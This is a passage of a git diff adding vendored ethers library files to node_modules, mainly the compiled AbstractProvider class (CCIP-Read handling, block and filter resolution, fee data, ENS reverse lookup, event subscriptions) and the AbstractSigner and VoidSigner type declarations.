error } }); + continue; + } + try { + const result = resp.bodyJson; + if (result.data) { + this.emit("debug", { action: "receiveCcipReadFetchResult", request, result }); + return result.data; + } + if (result.message) { + errorMessage = result.message; + } + this.emit("debug", { action: "receiveCcipReadFetchError", request, result }); + } + catch (error) { } + // 4xx indicates the result is not present; stop + assert(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${errorMessage}`, "OFFCHAIN_FAULT", { reason: "404_MISSING_RESOURCE", transaction: tx, info: { url, errorMessage } }); + // 5xx indicates server issue; try the next url + errorMessages.push(errorMessage); + } + assert(false, `error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(", ")}`, "OFFCHAIN_FAULT", { + reason: "500_SERVER_ERROR", + transaction: tx, info: { urls, errorMessages } + }); + } + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value, network) { + return new Block(formatBlock(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value, network) { + return new Log(formatLog(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value, network) { + return new TransactionReceipt(formatTransactionReceipt(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx, network) { + return new TransactionResponse(formatTransactionResponse(tx), this); + } + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork() { + assert(false, "sub-classes must implement this", "UNSUPPORTED_OPERATION", { + operation: "_detectNetwork" + }); + } + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + async _perform(req) { + assert(false, `unsupported method: ${req.method}`, "UNSUPPORTED_OPERATION", { + operation: req.method, + info: req + }); + } + // State + async getBlockNumber() { + const blockNumber = getNumber(await this.#perform({ method: "getBlockNumber" }), "%response"); + if (this.#lastBlockNumber >= 0) { + this.#lastBlockNumber = blockNumber; + } + return blockNumber; + } + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address) { + return resolveAddress(address, this); + } + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag) { + if (blockTag == null) { + return "latest"; + } + switch (blockTag) { + case "earliest": + return "0x0"; + case "finalized": + case "latest": + case "pending": + case "safe": + return blockTag; + } + if (isHexString(blockTag)) { + if (isHexString(blockTag, 32)) { + return blockTag; + } + return toQuantity(blockTag); + } + if (typeof (blockTag) === "bigint") { + blockTag = getNumber(blockTag, "blockTag"); + } + if (typeof (blockTag) === "number") { + if (blockTag >= 0) { + return toQuantity(blockTag); + } + if (this.#lastBlockNumber >= 0) { + return toQuantity(this.#lastBlockNumber + blockTag); + } + return this.getBlockNumber().then((b) => toQuantity(b + blockTag)); + } + assertArgument(false, "invalid blockTag", "blockTag", blockTag); + } + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter) { + // Create a canonical representation of the topics + const topics = (filter.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + }); + const blockHash = ("blockHash" in filter) ? filter.blockHash : undefined; + const resolve = (_address, fromBlock, toBlock) => { + let address = undefined; + switch (_address.length) { + case 0: break; + case 1: + address = _address[0]; + break; + default: + _address.sort(); + address = _address; + } + if (blockHash) { + if (fromBlock != null || toBlock != null) { + throw new Error("invalid filter"); + } + } + const filter = {}; + if (address) { + filter.address = address; + } + if (topics.length) { + filter.topics = topics; + } + if (fromBlock) { + filter.fromBlock = fromBlock; + } + if (toBlock) { + filter.toBlock = toBlock; + } + if (blockHash) { + filter.blockHash = blockHash; + } + return filter; + }; + // Addresses could be async (ENS names or Addressables) + let address = []; + if (filter.address) { + if (Array.isArray(filter.address)) { + for (const addr of filter.address) { + address.push(this._getAddress(addr)); + } + } + else { + address.push(this._getAddress(filter.address)); + } + } + let fromBlock = undefined; + if ("fromBlock" in filter) { + fromBlock = this._getBlockTag(filter.fromBlock); + } + let toBlock = undefined; + if ("toBlock" in filter) { + toBlock = this._getBlockTag(filter.toBlock); + } + if (address.filter((a) => (typeof (a) !== "string")).length || + (fromBlock != null && typeof (fromBlock) !== "string") || + (toBlock != null && typeof (toBlock) !== "string")) { + return Promise.all([Promise.all(address), fromBlock, toBlock]).then((result) => { + return resolve(result[0], result[1], result[2]); + }); + } + return resolve(address, fromBlock, toBlock); + } + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. + */ + _getTransactionRequest(_request) { + const request = copyRequest(_request); + const promises = []; + ["to", "from"].forEach((key) => { + if (request[key] == null) { + return; + } + const addr = resolveAddress(request[key], this); + if (isPromise(addr)) { + promises.push((async function () { request[key] = await addr; })()); + } + else { + request[key] = addr; + } + }); + if (request.blockTag != null) { + const blockTag = this._getBlockTag(request.blockTag); + if (isPromise(blockTag)) { + promises.push((async function () { request.blockTag = await blockTag; })()); + } + else { + request.blockTag = blockTag; + } + } + if (promises.length) { + return (async function () { + await Promise.all(promises); + return request; + })(); + } + return request; + } + async getNetwork() { + // No explicit network was set and this is our first time + if (this.#networkPromise == null) { + // Detect the current network (shared with all calls) + const detectNetwork = (async () => { + try { + const network = await this._detectNetwork(); + this.emit("network", network, null); + return network; + } + catch (error) { + if (this.#networkPromise === detectNetwork) { + this.#networkPromise = null; + } + throw error; + } + })(); + this.#networkPromise = detectNetwork; + return (await detectNetwork).clone(); + } + const networkPromise = this.#networkPromise; + const [expected, actual] = await Promise.all([ + networkPromise, + this._detectNetwork() // The actual connected network + ]); + if (expected.chainId !== actual.chainId) { + if (this.#anyNetwork) { + // The "any" network can change, so notify listeners + this.emit("network", actual, expected); + // Update the network if something else hasn't already changed it + if (this.#networkPromise === networkPromise) { + this.#networkPromise = Promise.resolve(actual); + } + } + else { + // Otherwise, we do not allow changes to the underlying network + assert(false, `network changed: ${expected.chainId} => ${actual.chainId} `, "NETWORK_ERROR", { + event: "changed" + }); + } + } + return expected.clone(); + } + async getFeeData() { + const network = await this.getNetwork(); + const getFeeDataFunc = async () => { + const { _block, gasPrice, priorityFee } = await resolveProperties({ + _block: this.#getBlock("latest", false), + gasPrice: ((async () => { + try { + const value = await this.#perform({ method: "getGasPrice" }); + return getBigInt(value, "%response"); + } + catch (error) { } + return null; + })()), + priorityFee: ((async () => { + try { + const value = await this.#perform({ method: "getPriorityFee" }); + return getBigInt(value, "%response"); + } + catch (error) { } + return null; + })()) + }); + let maxFeePerGas = null; + let maxPriorityFeePerGas = null; + // These are the recommended EIP-1559 heuristics for fee data + const block = this._wrapBlock(_block, network); + if (block && block.baseFeePerGas) { + maxPriorityFeePerGas = (priorityFee != null) ? priorityFee : BigInt("1000000000"); + maxFeePerGas = (block.baseFeePerGas * BN_2) + maxPriorityFeePerGas; + } + return new FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas); + }; + // Check for a FeeDataNetWorkPlugin + const plugin = network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + if (plugin) { + const req = new FetchRequest(plugin.url); + const feeData = await plugin.processFunc(getFeeDataFunc, this, req); + return new FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas); + } + return await getFeeDataFunc(); + } + async estimateGas(_tx) { + let tx = this._getTransactionRequest(_tx); + if (isPromise(tx)) { + tx = await tx; + } + return getBigInt(await this.#perform({ + method: "estimateGas", transaction: tx + }), "%response"); + } + async #call(tx, blockTag, attempt) { + assert(attempt < MAX_CCIP_REDIRECTS, "CCIP read exceeded maximum redirections", "OFFCHAIN_FAULT", { + reason: "TOO_MANY_REDIRECTS", + transaction: Object.assign({}, tx, { blockTag, enableCcipRead: true }) + }); + // This came in as a PerformActionTransaction, so to/from are safe; we can cast + const transaction = copyRequest(tx); + try { + return hexlify(await this._perform({ method: "call", transaction, blockTag })); + } + catch (error) { + // CCIP Read OffchainLookup + if (!this.disableCcipRead && isCallException(error) && error.data && attempt >= 0 && blockTag === "latest" && transaction.to != null && dataSlice(error.data, 0, 4) === "0x556f1830") { + const data = error.data; + const txSender = await resolveAddress(transaction.to, this); + // Parse the CCIP Read Arguments + let ccipArgs; + try { + ccipArgs = parseOffchainLookup(dataSlice(error.data, 4)); + } + catch (error) { + assert(false, error.message, "OFFCHAIN_FAULT", { + reason: "BAD_DATA", transaction, info: { data } + }); + } + // Check the sender of the OffchainLookup matches the transaction + assert(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), "CCIP Read sender mismatch", "CALL_EXCEPTION", { + action: "call", + data, + reason: "OffchainLookup", + transaction: transaction, + invocation: null, + revert: { + signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", + name: "OffchainLookup", + args: ccipArgs.errorArgs + } + }); + const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls); + assert(ccipResult != null, "CCIP Read failed to fetch data", "OFFCHAIN_FAULT", { + reason: "FETCH_FAILED", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs } + }); + const tx = { + to: txSender, + data: concat([ccipArgs.selector, encodeBytes([ccipResult, ccipArgs.extraData])]) + }; + this.emit("debug", { action: "sendCcipReadCall", transaction: tx }); + try { + const result = await this.#call(tx, blockTag, attempt + 1); + this.emit("debug", { action: "receiveCcipReadCallResult", transaction: Object.assign({}, tx), result }); + return result; + } + catch (error) { + this.emit("debug", { action: "receiveCcipReadCallError", transaction: Object.assign({}, tx), error }); + throw error; + } + } + throw error; + } + } + async #checkNetwork(promise) { + const { value } = await resolveProperties({ + network: this.getNetwork(), + value: promise + }); + return value; + } + async call(_tx) { + const { tx, blockTag } = await resolveProperties({ + tx: this._getTransactionRequest(_tx), + blockTag: this._getBlockTag(_tx.blockTag) + }); + return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0 : -1)); + } + // Account + async #getAccountValue(request, _address, _blockTag) { + let address = this._getAddress(_address); + let blockTag = this._getBlockTag(_blockTag); + if (typeof (address) !== "string" || typeof (blockTag) !== "string") { + [address, blockTag] = await Promise.all([address, blockTag]); + } + return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag }))); + } + async getBalance(address, blockTag) { + return getBigInt(await this.#getAccountValue({ method: "getBalance" }, address, blockTag), "%response"); + } + async getTransactionCount(address, blockTag) { + return getNumber(await this.#getAccountValue({ method: "getTransactionCount" }, address, blockTag), "%response"); + } + async getCode(address, blockTag) { + return hexlify(await this.#getAccountValue({ method: "getCode" }, address, blockTag)); + } + async getStorage(address, _position, blockTag) { + const position = getBigInt(_position, "position"); + return hexlify(await this.#getAccountValue({ method: "getStorage", position }, address, blockTag)); + } + // Write + async broadcastTransaction(signedTx) { + const { blockNumber, hash, network } = await resolveProperties({ + blockNumber: this.getBlockNumber(), + hash: this._perform({ + method: "broadcastTransaction", + signedTransaction: signedTx + }), + network: this.getNetwork() + }); + const tx = Transaction.from(signedTx); + if (tx.hash !== hash) { + throw new Error("@TODO: the returned hash did not match"); + } + return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber); + } + async #getBlock(block, includeTransactions) { + // @TODO: Add CustomBlockPlugin check + if (isHexString(block, 32)) { + return await this.#perform({ + method: "getBlock", blockHash: block, includeTransactions + }); + } + let blockTag = this._getBlockTag(block); + if (typeof (blockTag) !== "string") { + blockTag = await blockTag; + } + return await this.#perform({ + method: "getBlock", blockTag, includeTransactions + }); + } + // Queries + async getBlock(block, prefetchTxs) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#getBlock(block, !!prefetchTxs) + }); + if (params == null) { + return null; + } + return this._wrapBlock(params, network); + } + async getTransaction(hash) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransaction", hash }) + }); + if (params == null) { + return null; + } + return this._wrapTransactionResponse(params, network); + } + async getTransactionReceipt(hash) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransactionReceipt", hash }) + }); + if (params == null) { + return null; + } + // Some backends did not backfill the effectiveGasPrice into old transactions + // in the receipt, so we look it up manually and inject it. + if (params.gasPrice == null && params.effectiveGasPrice == null) { + const tx = await this.#perform({ method: "getTransaction", hash }); + if (tx == null) { + throw new Error("report this; could not find tx or effectiveGasPrice"); + } + params.effectiveGasPrice = tx.gasPrice; + } + return this._wrapTransactionReceipt(params, network); + } + async getTransactionResult(hash) { + const { result } = await resolveProperties({ + network: this.getNetwork(), + result: this.#perform({ method: "getTransactionResult", hash }) + }); + if (result == null) { + return null; + } + return hexlify(result); + } + // Bloom-filter Queries + async getLogs(_filter) { + let filter = this._getFilter(_filter); + if (isPromise(filter)) { + filter = await filter; + } + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getLogs", filter }) + }); + return params.map((p) => this._wrapLog(p, network)); + } + // ENS + _getProvider(chainId) { + assert(false, "provider cannot connect to target network", "UNSUPPORTED_OPERATION", { + operation: "_getProvider()" + }); + } + async getResolver(name) { + return await EnsResolver.fromName(this, name); + } + async getAvatar(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAvatar(); + } + return null; + } + async resolveName(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAddress(); + } + return null; + } + async lookupAddress(address) { + address = getAddress(address); + const node = namehash(address.substring(2).toLowerCase() + ".addr.reverse"); + try { + const ensAddr = await EnsResolver.getEnsAddress(this); + const ensContract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], this); + const resolver = await ensContract.resolver(node); + if (resolver == null || resolver === ZeroAddress) { + return null; + } + const resolverContract = new Contract(resolver, [ + "function name(bytes32) view returns (string)" + ], this); + const name = await resolverContract.name(node); + // Failed forward resolution + const check = await this.resolveName(name); + if (check !== address) { + return null; + } + return name; + } + catch (error) { + // No data was returned from the resolver + if (isError(error, "BAD_DATA") && error.value === "0x") { + return null; + } + // Something reerted + if (isError(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + return null; + } + async waitForTransaction(hash, _confirms, timeout) { + const confirms = (_confirms != null) ? _confirms : 1; + if (confirms === 0) { + return this.getTransactionReceipt(hash); + } + return new Promise(async (resolve, reject) => { + let timer = null; + const listener = (async (blockNumber) => { + try { + const receipt = await this.getTransactionReceipt(hash); + if (receipt != null) { + if (blockNumber - receipt.blockNumber + 1 >= confirms) { + resolve(receipt); + //this.off("block", listener); + if (timer) { + clearTimeout(timer); + timer = null; + } + return; + } + } + } + catch (error) { + console.log("EEE", error); + } + this.once("block", listener); + }); + if (timeout != null) { + timer = setTimeout(() => { + if (timer == null) { + return; + } + timer = null; + this.off("block", listener); + reject(makeError("timeout", "TIMEOUT", { reason: "timeout" })); + }, timeout); + } + listener(await this.getBlockNumber()); + }); + } + async waitForBlock(blockTag) { + assert(false, "not implemented yet", "NOT_IMPLEMENTED", { + operation: "waitForBlock" + }); + } + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId) { + const timer = this.#timers.get(timerId); + if (!timer) { + return; + } + if (timer.timer) { + clearTimeout(timer.timer); + } + this.#timers.delete(timerId); + } + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func, timeout) { + if (timeout == null) { + timeout = 0; + } + const timerId = this.#nextTimer++; + const func = () => { + this.#timers.delete(timerId); + _func(); + }; + if (this.paused) { + this.#timers.set(timerId, { timer: null, func, time: timeout }); + } + else { + const timer = setTimeout(func, timeout); + this.#timers.set(timerId, { timer, func, time: getTime() }); + } + return timerId; + } + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func) { + for (const sub of this.#subs.values()) { + func(sub.subscriber); + } + } + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub) { + switch (sub.type) { + case "debug": + case "error": + case "network": + return new UnmanagedSubscriber(sub.type); + case "block": { + const subscriber = new PollingBlockSubscriber(this); + subscriber.pollingInterval = this.pollingInterval; + return subscriber; + } + case "safe": + case "finalized": + return new PollingBlockTagSubscriber(this, sub.type); + case "event": + return new PollingEventSubscriber(this, sub.filter); + case "transaction": + return new PollingTransactionSubscriber(this, sub.hash); + case "orphan": + return new PollingOrphanSubscriber(this, sub.filter); + } + throw new Error(`unsupported event: ${sub.type}`); + } + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub, newSub) { + for (const sub of this.#subs.values()) { + if (sub.subscriber === oldSub) { + if (sub.started) { + sub.subscriber.stop(); + } + sub.subscriber = newSub; + if (sub.started) { + newSub.start(); + } + if (this.#pausedState != null) { + newSub.pause(this.#pausedState); + } + break; + } + } + } + async #hasSub(event, emitArgs) { + let sub = await getSubscription(event, this); + // This is a log that is removing an existing log; we actually want + // to emit an orphan event for the removed log + if (sub.type === "event" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) { + sub = await getSubscription({ orphan: "drop-log", log: emitArgs[0] }, this); + } + return this.#subs.get(sub.tag) || null; + } + async #getSub(event) { + const subscription = await getSubscription(event, this); + // Prevent tampering with our tag in any subclass' _getSubscriber + const tag = subscription.tag; + let sub = this.#subs.get(tag); + if (!sub) { + const subscriber = this._getSubscriber(subscription); + const addressableMap = new WeakMap(); + const nameMap = new Map(); + sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [] }; + this.#subs.set(tag, sub); + } + return sub; + } + async on(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: false }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async once(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: true }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async emit(event, ...args) { + const sub = await this.#hasSub(event, args); + // If there is not subscription or if a recent emit removed + // the last of them (which also deleted the sub) do nothing + if (!sub || sub.listeners.length === 0) { + return false; + } + ; + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const payload = new EventPayload(this, (once ? null : listener), event); + try { + listener.call(this, ...args, payload); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return (count > 0); + } + async listenerCount(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + let total = 0; + for (const { listeners } of this.#subs.values()) { + total += listeners.length; + } + return total; + } + async listeners(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + let result = []; + for (const { listeners } of this.#subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + async off(event, listener) { + const sub = await this.#hasSub(event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (!listener || sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return this; + } + async removeAllListeners(event) { + if (event) { + const { tag, started, subscriber } = await this.#getSub(event); + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + else { + for (const [tag, { started, subscriber }] of this.#subs) { + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + } + return this; + } + // Alias for "on" + async addListener(event, listener) { + return await this.on(event, listener); + } + // Alias for "off" + async removeListener(event, listener) { + return this.off(event, listener); + } + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed() { + return this.#destroyed; + } + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy() { + // Stop all listeners + this.removeAllListeners(); + // Shut down all tiemrs + for (const timerId of this.#timers.keys()) { + this._clearTimeout(timerId); + } + this.#destroyed = true; + } + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused() { return (this.#pausedState != null); } + set paused(pause) { + if (!!pause === this.paused) { + return; + } + if (this.paused) { + this.resume(); + } + else { + this.pause(false); + } + } + /** + * Pause the provider. If %%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused) { + this.#lastBlockNumber = -1; + if (this.#pausedState != null) { + if (this.#pausedState == !!dropWhilePaused) { + return; + } + assert(false, "cannot change pause type; resume first", "UNSUPPORTED_OPERATION", { + operation: "pause" + }); + } + this._forEachSubscriber((s) => s.pause(dropWhilePaused)); + this.#pausedState = !!dropWhilePaused; + for (const timer of this.#timers.values()) { + // Clear the timer + if (timer.timer) { + clearTimeout(timer.timer); + } + // Remaining time needed for when we become unpaused + timer.time = getTime() - timer.time; + } + } + /** + * Resume the provider. + */ + resume() { + if (this.#pausedState == null) { + return; + } + this._forEachSubscriber((s) => s.resume()); + this.#pausedState = null; + for (const timer of this.#timers.values()) { + // Remaining time when we were paused + let timeout = timer.time; + if (timeout < 0) { + timeout = 0; + } + // Start time (in cause paused, so we con compute remaininf time) + timer.time = getTime(); + // Start the timer + setTimeout(timer.func, timeout); + } + } +} +function _parseString(result, start) { + try { + const bytes = _parseBytes(result, start); + if (bytes) { + return toUtf8String(bytes); + } + } + catch (error) { } + return null; +} +function _parseBytes(result, start) { + if (result === "0x") { + return null; + } + try { + const offset = getNumber(dataSlice(result, start, start + 32)); + const length = getNumber(dataSlice(result, offset, offset + 32)); + return dataSlice(result, offset + 32, offset + 32 + length); + } + catch (error) { } + return null; +} +function numPad(value) { + const result = toBeArray(value); + if (result.length > 32) { + throw new Error("internal; should not happen"); + } + const padded = new Uint8Array(32); + padded.set(result, 32 - result.length); + return padded; +} +function bytesPad(value) { + if ((value.length % 32) === 0) { + return value; + } + const result = new Uint8Array(Math.ceil(value.length / 32) * 32); + result.set(value); + return result; +} +const empty = new Uint8Array([]); +// ABI Encodes a series of (bytes, bytes, ...) +function encodeBytes(datas) { + const result = []; + let byteCount = 0; + // Add place-holders for pointers as we add items + for (let i = 0; i < datas.length; i++) { + result.push(empty); + byteCount += 32; + } + for (let i = 0; i < datas.length; i++) { + const data = getBytes(datas[i]); + // Update the bytes offset + result[i] = numPad(byteCount); + // The length and padded value of data + result.push(numPad(data.length)); + result.push(bytesPad(data)); + byteCount += 32 + Math.ceil(data.length / 32) * 32; + } + return concat(result); +} +const zeros = "0x0000000000000000000000000000000000000000000000000000000000000000"; +function parseOffchainLookup(data) { + const result = { + sender: "", urls: [], calldata: "", selector: "", extraData: "", errorArgs: [] + }; + assert(dataLength(data) >= 5 * 32, "insufficient OffchainLookup data", "OFFCHAIN_FAULT", { + reason: "insufficient OffchainLookup data" + }); + const sender = dataSlice(data, 0, 32); + assert(dataSlice(sender, 0, 12) === dataSlice(zeros, 0, 12), "corrupt OffchainLookup sender", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup sender" + }); + result.sender = dataSlice(sender, 12); + // Read the URLs from the response + try { + const urls = []; + const urlsOffset = getNumber(dataSlice(data, 32, 64)); + const urlsLength = getNumber(dataSlice(data, urlsOffset, urlsOffset + 32)); + const urlsData = dataSlice(data, urlsOffset + 32); + for (let u = 0; u < urlsLength; u++) { + const url = _parseString(urlsData, u * 32); + if (url == null) { + throw new Error("abort"); + } + urls.push(url); + } + result.urls = urls; + } + catch (error) { + assert(false, "corrupt OffchainLookup urls", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup urls" + }); + } + // Get the CCIP calldata to forward + try { + const calldata = _parseBytes(data, 64); + if (calldata == null) { + throw new Error("abort"); + } + result.calldata = calldata; + } + catch (error) { + assert(false, "corrupt OffchainLookup calldata", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup calldata" + }); + } + // Get the callbackSelector (bytes4) + assert(dataSlice(data, 100, 128) === dataSlice(zeros, 0, 28), "corrupt OffchainLookup callbaackSelector", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup callbaackSelector" + }); + result.selector = dataSlice(data, 96, 100); + // Get the extra data to send back to the contract as context + try { + const extraData = _parseBytes(data, 128); + if (extraData == null) { + throw new Error("abort"); + } + result.extraData = extraData; + } + catch (error) { + assert(false, "corrupt OffchainLookup extraData", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup extraData" + }); + } + result.errorArgs = "sender,urls,calldata,selector,extraData".split(/,/).map((k) => result[k]); + return result; +} +//# sourceMappingURL=abstract-provider.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/abstract-provider.js.map b/node_modules/ethers/lib.esm/providers/abstract-provider.js.map new file mode 100644 index 000000000000..3748e5a93ca5 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-provider.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-provider.js","sourceRoot":"","sources":["../../src.ts/providers/abstract-provider.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,QAAQ;AACR,oBAAoB;AACpB,4EAA4E;AAC5E,4EAA4E;AAC5E,6EAA6E;AAC7E,6EAA6E;AAC7E,2EAA2E;AAE3E,OAAO,EAAE,UAAU,EAAE,cAAc,EAAE,MAAM,qBAAqB,CAAC;AACjE,OAAO,EAAE,WAAW,E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file diff --git a/node_modules/ethers/lib.esm/providers/abstract-signer.d.ts b/node_modules/ethers/lib.esm/providers/abstract-signer.d.ts new file mode 100644 index 000000000000..f753dde20bc7 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-signer.d.ts @@ -0,0 +1,69 @@ +import type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; +/** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ +export declare abstract class AbstractSigner

    implements Signer { + /** + * The provider this signer is connected to. + */ + readonly provider: P; + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider?: P); + /** + * Resolves to the Signer address. + */ + abstract getAddress(): Promise; + /** + * Returns the signer connected to %%provider%%. + * + * This may throw, for example, a Signer connected over a Socket or + * to a specific instance of a node may not be transferrable. + */ + abstract connect(provider: null | Provider): Signer; + getNonce(blockTag?: BlockTag): Promise; + populateCall(tx: TransactionRequest): Promise>; + populateTransaction(tx: TransactionRequest): Promise>; + populateAuthorization(_auth: AuthorizationRequest): Promise; + estimateGas(tx: TransactionRequest): Promise; + call(tx: TransactionRequest): Promise; + resolveName(name: string): Promise; + sendTransaction(tx: TransactionRequest): Promise; + authorize(authorization: AuthorizationRequest): Promise; + abstract signTransaction(tx: TransactionRequest): Promise; + abstract signMessage(message: string | Uint8Array): Promise; + abstract signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +/** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ +export declare class VoidSigner extends AbstractSigner { + #private; + /** + * The signer address. + */ + readonly address: string; + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address: string, provider?: null | Provider); + getAddress(): Promise; + connect(provider: null | Provider): VoidSigner; + signTransaction(tx: TransactionRequest): Promise; + signMessage(message: string | Uint8Array): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +//# sourceMappingURL=abstract-signer.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/abstract-signer.d.ts.map b/node_modules/ethers/lib.esm/providers/abstract-signer.d.ts.map new file mode 100644 index 000000000000..6d2c1c6fe839 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-signer.d.ts.map @@ -0,0 +1 @@ 